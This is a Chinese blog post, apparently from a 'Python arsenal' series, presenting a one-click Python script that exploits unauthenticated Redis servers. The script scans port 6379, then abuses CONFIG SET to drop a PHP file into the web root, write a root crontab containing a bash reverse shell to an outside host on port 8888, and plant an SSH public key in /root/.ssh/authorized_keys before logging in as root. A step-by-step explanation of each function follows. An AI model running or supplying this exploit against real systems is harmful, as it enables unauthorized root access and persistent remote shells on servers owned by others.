Python武器库开发-武器库篇之Redis未授权漏洞一键Getshell(五十八)

Python武器库开发-武器库篇之Redis未授权漏洞一键Getshell(五十八)

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进⾏采⽤相关的策略,⽐如添加防⽕墙规则避免其他⾮信任来源 ip 访问等,这样将会将 Redis 服务暴露到公⽹上,如果在没有设置密码认证(⼀般为空)的情况下,会导致任意⽤户在可以访问⽬标服务器的情况下未授权访问 Redis 以及读取Redis 的数据。攻击者在未授权访问 Redis 的情况下,利⽤ Redis ⾃身的提供的config 命令,可以进⾏写⽂件操作,攻击者可以成功将⾃⼰的ssh公钥写⼊⽬标服务器的 /root/.ssh ⽂件夹的authotrized_keys ⽂件中,进⽽可以使⽤对应私钥直接使⽤ssh服务登录⽬标服务器、添加计划任务、写⼊Webshell等操作。

测试环境

主机 IP
Kali 192.168.41.132

实验代码

对于·Redis未授权访问漏洞getshell 一般常用的有三种方式,第一种是写Webshell,第二种是添加计划任务反弹shell,第三种就是ssh key 免密登录。

以下是使用Python一键 getshell Redis未授权漏洞的代码示例:

python 复制代码
#!/usr/bin/env python
import redis
import socket
import paramiko

sshkey = 'ssh 公钥'

#用socket扫描端口
def scan_port(ip):
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.settimeout(0.3)
    try:
        s.connect((ip, 6379))
        print("Redis 端口开放!!!")
        s.close
        check_redis_connect(ip)
    except Exception:
        pass    

def check_redis_connect(ip):
    try:
        client = redis.StrictRedis(host=ip, port=6379, socket_timeout=0.3)
        print(client.client_list())
        print("[+]redis未授权存在")
        exp_webshell(client)
        exp_crontab(client)
        exp_ssh(client, ip)
        
    except Exception as e:
        print("无法连接,错误原因:{}".format(e))


def exp_webshell(redis_client):
    #1.找到web服务器的根目录
    root = '/var/www/html/'
    redis_client.config_set('dir', root)
    redis_client.config_set('dbfilename', 'shell.php')
    redis_client.set('x', '<?php phpinfo(); ?>')
    redis_client.save()
    print('webshell已经写入成功')  
    
def exp_crontab(redis_client):
    root = '/var/spool/cron/'
    redis_client.config_set('dir',root)
    redis_client.config_set('dbfilename','root')
    redis_client.set('s', '\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/host IP/8888 0>&1\n\n')
    redis_client.save()
    print('定时任务已经创建')
    
def exp_ssh(redis_client,ip):
    root = '/root/.ssh/'
    redis_client.config_set('dir',root)
    redis_client.config_set('dbfilename','authorized_keys')
    redis_client.set('n','\n\n'+sshkey+'\n\n')
    redis_client.save()
    print('免密登录已完成')
    connect_ssh(ip)
    
def connect_ssh(ip):
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        ssh.connect(ip,22,'root',sshkey)
        print('ssh 连接成功')
    except Exception:
        print('连接失败')    
           
if __name__ == '__main__':
    connect_ssh('host IP')
    scan_port('host IP')

这段代码的作用是利用Redis未授权访问漏洞,在目标主机上执行一系列操作。下面是代码的详细分析:

  1. 首先 导入必要的模块:redissocketparamiko

  2. 定义了一个SSH公钥变量sshkey

  3. 定义了一个函数scan_port(ip),用于扫描目标主机的端口。在该函数中,通过创建一个socket对象并连接到目标主机的6379端口,若连接成功,则打印"Redis 端口开放!!!"并调用check_redis_connect(ip)函数。

  4. 定义了一个函数check_redis_connect(ip),用于检查是否可以连接到Redis数据库。在该函数中,通过创建一个redis.StrictRedis对象连接到目标主机的Redis数据库,若连接成功,则打印"redis未授权存在"并依次调用exp_webshell(client)exp_crontab(client)exp_ssh(client,ip)函数进行一系列操作。

  5. 定义了一个函数exp_webshell(redis_client),用于在目标主机上写入一个WebShell。在该函数中,首先设置Redis的配置参数dir为/var/www/html/,然后设置dbfilename为shell.php,接着通过redis_client.set()方法将一个PHP代码写入Redis数据库,最后调用redis_client.save()方法保存数据并打印"webshell已经写入成功"。

  6. 定义了一个函数exp_crontab(redis_client),用于在目标主机上创建一个定时任务。在该函数中,首先设置Redis的配置参数dir为/var/spool/cron/,然后设置dbfilename为root,接着通过redis_client.set()方法将一个Shell命令写入Redis数据库,最后调用redis_client.save()方法保存数据并打印"定时任务已经创建"。

  7. 定义了一个函数exp_ssh(redis_client,ip),用于在目标主机上实现SSH免密登录。在该函数中,首先设置Redis的配置参数dir为/root/.ssh/,然后设置dbfilename为authorized_keys,接着通过redis_client.set()方法将SSH公钥写入Redis数据库,最后调用redis_client.save()方法保存数据并打印"免密登录已完成",然后调用connect_ssh(ip)函数进行SSH连接。

  8. 定义了一个函数connect_ssh(ip),用于与目标主机建立SSH连接。在该函数中,首先创建一个paramiko.SSHClient对象,然后设置自动添加主机密钥的策略,接着通过ssh.connect()方法尝试与目标主机建立SSH连接,若连接成功,则打印"ssh 连接成功",否则打印"连接失败"。

  9. if __name__ == '__main__':下,依次调用connect_ssh('host IP')scan_port('host IP')函数,其中connect_ssh()函数用于检查SSH连接是否成功,scan_port()函数用于扫描目标主机的Redis端口是否开放。

相关推荐
java1234_小锋8 分钟前
TensorFlow2 Python深度学习 - 模型保存与加载
python·深度学习·tensorflow·tensorflow2
斯普信专业组15 分钟前
Redis集群平滑扩缩容与槽位迁移实战指南
数据库·redis·槽位迁移
深蓝电商API21 分钟前
用 Selenium 搞定动态网页:模拟点击、滚动、登录全流程
爬虫·python·selenium
王六岁22 分钟前
🐍 前端开发 0 基础学 Python 入门指南:数字与字符串篇
前端·python·全栈
芒果量化24 分钟前
Optuna - 自动调参利器&python实例
开发语言·python·算法·机器学习
木头左1 小时前
基于波动率自适应的ETF动态止盈止损模型构建与优化
python
jerryinwuhan1 小时前
pybullet入门到入门_1
开发语言·人工智能·python
Forfun_tt1 小时前
xss-labs pass-07
网络安全·xss
景彡先生1 小时前
Python列表(List)完全指南:从入门到实战优化
windows·python·list
花开花富贵1 小时前
是谁不会表达?来看看程序员的浪漫❤ 1.1
python